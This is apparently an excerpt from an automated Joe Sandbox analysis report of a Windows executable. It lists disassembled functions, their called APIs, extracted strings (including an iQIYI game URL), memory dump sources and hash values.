Instruction Fuzzy Hash: 7811F771A0021CABEB50DBA5DCC9AAEB7BCFB08684F1041A9E505D2150DB78EF48CB60

Function 1000E05F Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 1000E06B

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__amsg_exit.LIBCMT ref: 1000E08B
__lock.LIBCMT ref: 1000E09B
InterlockedDecrement.KERNEL32(?), ref: 1000E0B8
_free.LIBCMT ref: 1000E0CB
InterlockedIncrement.KERNEL32(10020670), ref: 1000E0E3

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 184c3d7c9f6cf37059b0ae285215dcea12a49ff62e9abd8274061520565c867a
Instruction ID: 44ac7dee67aa228faf62a7f712449706e970d0ab81b91fd94cc9ca9f82e1b276
Opcode Fuzzy Hash: 184c3d7c9f6cf37059b0ae285215dcea12a49ff62e9abd8274061520565c867a
Instruction Fuzzy Hash: 9E01ED359017A2EBFB50DF64888575EB7A0FB403D0F114109F80073A9ACBB4ADC2CB91

Function 032AE063 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 032AE06F

Part of subcall function 032AEA0D: __getptd_noexit.LIBCMT ref: 032AEA10
Part of subcall function 032AEA0D: __amsg_exit.LIBCMT ref: 032AEA1D

__amsg_exit.LIBCMT ref: 032AE08F
__lock.LIBCMT ref: 032AE09F
InterlockedDecrement.KERNEL32(?), ref: 032AE0BC
_free.LIBCMT ref: 032AE0CF
InterlockedIncrement.KERNEL32(10020670), ref: 032AE0E7

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 6b734a3c0f387b71fdf5a8eab89ac20fe8d4012c3391868757373a917024e17b
Instruction ID: 12a484e9cb8f59b2b1df28ce4c7bc7c551212a81fdd7e849bfdafb834ef95f9d
Opcode Fuzzy Hash: 6b734a3c0f387b71fdf5a8eab89ac20fe8d4012c3391868757373a917024e17b
Instruction Fuzzy Hash: AC015E36920F22EBE661EF2C898875DB761BB04720F1A4155E810BB690C77495C3DFD1

Function 00438A05 Relevance: 9.0, APIs: 6, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00438A0C
new.LIBCMT ref: 00438A23
std::locale::c_str.LIBCPMTD ref: 00438A34
std::_Locinfo::_Locinfo.LIBCPMTD ref: 00438A3D

Part of subcall function 00414DC0: std::_Lockit::_Lockit.LIBCPMT ref: 00414DED
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414DFF
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E0E
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E1D
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E2C
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E3B
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E4A
Part of subcall function 00414DC0: std::bad_exception::bad_exception.LIBCMTD ref: 00414E61
Part of subcall function 00414DC0: __CxxThrowException@8.LIBVCRUNTIME ref: 00414E6F
Part of subcall function 00414DC0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00414E7C

std::locale::facet::facet.LIBCPMTD ref: 00438A50
std::_Locinfo::~_Locinfo.LIBCPMTD ref: 00438A60

Part of subcall function 00414EA0: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00414ECA
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414ED8
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EE3
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EEE
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EF9
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F04
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F0F
Part of subcall function 00414EA0: std::_Lockit::~_Lockit.LIBCPMT ref: 00414F17

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Container_base12Container_base12::~_Yarn$Locinfo::_$LocinfoLockit$Exception@8H_prolog3Locinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_Throwstd::bad_exception::bad_exceptionstd::locale::c_strstd::locale::facet::facet
String ID:
API String ID: 2098803688-0
Opcode ID: 887c10125c2939a57674fccc6c03064044e520d7227134b5870c39b7fc5b1639
Instruction ID: 2541ec66830a41dff129d7bc8644e477acf937a3c80a7452be8d44a00f03956e
Opcode Fuzzy Hash: 887c10125c2939a57674fccc6c03064044e520d7227134b5870c39b7fc5b1639
Instruction Fuzzy Hash: 65F04F749003059ADB00FFA5D4417DEBB70BF84744F60451FF4086B282CBB85A418B88

Function 00419E80 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

Module, xrefs: 0041A148, 0041A168
Module_Raw, xrefs: 0041A1BC

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID: Module$Module_Raw
API String ID: 0-3885325121
Opcode ID: 2e2299dadb016323949d2c246d6038a9d5115978bb27aa95cbcf5c1a802252e7
Instruction ID: 1323871d008a96e7125e4ea299f79217ea587fa3871eb8f5d6c627b021268026
Opcode Fuzzy Hash: 2e2299dadb016323949d2c246d6038a9d5115978bb27aa95cbcf5c1a802252e7
Instruction Fuzzy Hash: 96B11A71B003289BDB24DF61CC85BEAB375AF4A304F0045EAA10A67A81DB795FC5CF56

Function 0041A360 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 237COMMON

Download Yara Rule

Strings

Module, xrefs: 0041A628, 0041A648
Module_Raw, xrefs: 0041A69C

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID: Module$Module_Raw
API String ID: 0-3885325121
Opcode ID: 3d7f5da31700c894a17914f9538b31dde0937ee7f11c1de4288e87fb4966ed5c
Instruction ID: 9ead522920ad2281e44bf05dc897640adade75685fe1fc6f7a0b7e3d8480e7ec
Opcode Fuzzy Hash: 3d7f5da31700c894a17914f9538b31dde0937ee7f11c1de4288e87fb4966ed5c
Instruction Fuzzy Hash: 75B12A71A003288BCB24DF21CC45BEAB375AF5A304F0045EAA50A67A81DB796FD5CF57

Function 0042A490 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

shared_ptr.LIBCPMTD ref: 0042A4CE

Part of subcall function 00414170: std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 00414199
Part of subcall function 00414170: _Reset.LIBCMTD ref: 004141A5

Part of subcall function 004298F0: operator!=.LIBCPMTD ref: 00429954

operator!=.LIBCPMTD ref: 0042A501
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042A627
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042A636

Strings

pca_opennewtab, xrefs: 0042A5B3

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Container_base12Container_base12::~_operator!=$Iterator_baseIterator_base::_Resetshared_ptr
String ID: pca_opennewtab
API String ID: 1317565311-1526195444
Opcode ID: 393c3ba0370df92fc3d92fc4830c5400395c0636e9b4903de35ccbaa3b8e2b74
Instruction ID: 2477dc7dd6851e5713f770c89342489140097c5804159e9b18b4f2bb60826b5e
Opcode Fuzzy Hash: 393c3ba0370df92fc3d92fc4830c5400395c0636e9b4903de35ccbaa3b8e2b74
Instruction Fuzzy Hash: F0416570E00209ABDB04EFA5EC5AFBE7B79AF44304F40422DF501A71D1DE385A55C799

Function 00404300 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040445E
char_traits.LIBCPMTD ref: 00404471
construct.LIBCPMTD ref: 004044A5

Strings

$A@, xrefs: 00404457, 0040445A
$A@, xrefs: 00404323

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkchar_traitsconstruct
String ID: $A@$$A@
API String ID: 4230972912-3049499376
Opcode ID: b89b9a7359873b46036595352320888549556b2ec88ca9d3b921463116d1bc47
Instruction ID: 53a89dade853483ce067111bbceccc9c9e70cf4284f5baf7ddd4f3eb59c5787b
Opcode Fuzzy Hash: b89b9a7359873b46036595352320888549556b2ec88ca9d3b921463116d1bc47
Instruction Fuzzy Hash: F941ECB1E002099FCB04EFA5D851AAFB7B6EB84714F10416AE615B73D1DB386D01CB98

Function 00441310 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0044131D

Strings

MN@, xrefs: 004414A6, 0044149C, 004414B8, 004414D4, 004414C1, 004414AF, 004414CA, 004413C0

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: CurrentThread
String ID: MN@
API String ID: 2882836952-2670060698
Opcode ID: 0b1c7a9458c041ba89707a233cecf5ce95e9115aad44459b873b0b489445ba14
Instruction ID: d64c2ee3f20646f44f6008aba1a2400ef2e3b2d2f8e2dc1d9b4d4adc9e39b8f3
Opcode Fuzzy Hash: 0b1c7a9458c041ba89707a233cecf5ce95e9115aad44459b873b0b489445ba14
Instruction Fuzzy Hash: EF510C74D00208EFEB14DF95D584BAEBBB2BF44304F20815AE905AB360D7799E81DF95

Function 0042B430 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 0043A49B: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0043A4E2
Part of subcall function 0043A49B: _wcsrchr.LIBVCRUNTIME ref: 0043A4F1

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042B492

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

Part of subcall function 00439920: __EH_prolog3.LIBCMT ref: 00439927
Part of subcall function 00439920: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,0000000C,00413F7B,?,CC27C0CB), ref: 00439957
Part of subcall function 00439920: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,0000000C,00413F7B,?,CC27C0CB), ref: 00439986

Part of subcall function 0042B7B0: new.LIBCMT ref: 0042B7DE

Part of subcall function 0042B8C0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042B8F0

Part of subcall function 00414530: new.LIBCMT ref: 00414561
Part of subcall function 00414530: _Resetp0.LIBCMTD ref: 004145C3
Part of subcall function 00414530: shared_ptr.LIBCPMTD ref: 004145CF
Part of subcall function 00414530: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004145E7

shared_ptr.LIBCPMTD ref: 0042B53E

Part of subcall function 004141C0: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMTD ref: 004141F6

Part of subcall function 00413E10: shared_ptr.LIBCMTD ref: 00413E49
Part of subcall function 00413E10: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00413E86

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042B55F

Part of subcall function 004110A0: _Ptr_base.LIBCMTD ref: 004110C9

Strings

http://pc.game.iqiyi.com/index?sdkver=10.12.0.845, xrefs: 0042B4CF
/resources/mainframe/index.html, xrefs: 0042B4AD

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Container_base12Container_base12::~_std::_$shared_ptr$ByteCharConcurrency::details::MultiQuickWide$Base::ContextFileH_prolog3IdentityModuleNamePtr_baseQueueResetp0Set::Work_wcsrchr
String ID: /resources/mainframe/index.html$http://pc.game.iqiyi.com/index?sdkver=10.12.0.845
API String ID: 1035091344-2822395835
Opcode ID: 3d3b4ecfd53699f4a22b0bbd6015e3be3258cda6d516d9a770555705cf69b323
Instruction ID: 14bdd22dc06129e2dc243b885521938530e4e5b0e7af39c3c9c1e2e7da475d4f
Opcode Fuzzy Hash: 3d3b4ecfd53699f4a22b0bbd6015e3be3258cda6d516d9a770555705cf69b323
Instruction Fuzzy Hash: 3F4151B1D0124CEBCB04EFE5E855BDEBBB5EF48304F50852EE41167281EB345A49CB95

Function 004165B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll), ref: 004165C6
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedW), ref: 004165E8
RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 00416657

Strings

Advapi32.dll, xrefs: 004165C1
RegCreateKeyTransactedW, xrefs: 004165DF

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: AddressCreateHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 1964897782-2994018265
Opcode ID: 3d838a44128c8380fb3453c0f7b120fc02bebeb5360428a801d8092e7df14ccb
Instruction ID: f61dc94d9c55ca44122d28454f7aaa13f286071834c06f683ab58a1f872ae887
Opcode Fuzzy Hash: 3d838a44128c8380fb3453c0f7b120fc02bebeb5360428a801d8092e7df14ccb
Instruction Fuzzy Hash: B221C9B1604208EFCB04CF98D894EDF77BAAB9C304F118259F91997250D778ED91CBA4

Function 00433777 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60processCOMMON

Download Yara Rule

APIs

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004337C1

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,04000000,00000000,00000000,00000044,?,?,00000000), ref: 004337C8
CloseHandle.KERNEL32(00000000,?,00000000), ref: 004337E5
CloseHandle.KERNEL32(00000000,?,00000000), ref: 004337F0

Strings

D, xrefs: 00433793

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: CloseHandle$Base::Concurrency::details::Container_base12Container_base12::~_ContextCreateIdentityProcessQueueWorkstd::_
String ID: D
API String ID: 2211967695-2746444292
Opcode ID: 7cebe2efa332da80c44dc667e43ef144ae96c47221126911f8d9cdbe6646b015
Instruction ID: b0f94f09744197047da95a7530d5692972cc10d701b9aa75b32b5414e10459d0
Opcode Fuzzy Hash: 7cebe2efa332da80c44dc667e43ef144ae96c47221126911f8d9cdbe6646b015
Instruction Fuzzy Hash: 950161B1910118BBEB109AE9DC41BFFB3ADEB08305F005466F605E3150D7796E058BA5

Function 00416510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll), ref: 00416526
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 00416545
RegOpenKeyExW.ADVAPI32(?,?,?,?,?), ref: 00416594

Strings

RegOpenKeyTransactedW, xrefs: 0041653C
Advapi32.dll, xrefs: 00416521

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: AddressHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 1337834000-3913318428
Opcode ID: c53563760fe451e206d65e150a61d11d61a47d83d25e0ce9f8a39175dbadb24f
Instruction ID: 70e114ddb5373389a0ff3f6142f03a80f42723a53b5608322b90557f6a35852d
Opcode Fuzzy Hash: c53563760fe451e206d65e150a61d11d61a47d83d25e0ce9f8a39175dbadb24f
Instruction Fuzzy Hash: A011B775A04208FFCB14CF98E988BEE77B6AB48301F118159F90597254C739EA81DBA5

Function 00416B80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll), ref: 00416BBD
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00416BD5
RegDeleteKeyW.ADVAPI32(00000000,00000000), ref: 00416C15

Strings

Advapi32.dll, xrefs: 00416BB8
RegDeleteKeyExW, xrefs: 00416BCC

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: Advapi32.dll$RegDeleteKeyExW
API String ID: 588496660-2191092095
Opcode ID: 16b942635bde29b7714e9cb007e102f71f8cfa4cbd1dae30bd7b10cca0726617
Instruction ID: 06279e8bd524997cddcb4b8cd4486af729f66b064a6d6bfc9ae0869bc2a33f5d
Opcode Fuzzy Hash: 16b942635bde29b7714e9cb007e102f71f8cfa4cbd1dae30bd7b10cca0726617
Instruction Fuzzy Hash: A9111978604209EFCB14CF94D994AEABBBAEB48300F10819DE4059B350D734EE81CFA4

Function 00432F82 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 54COMMON

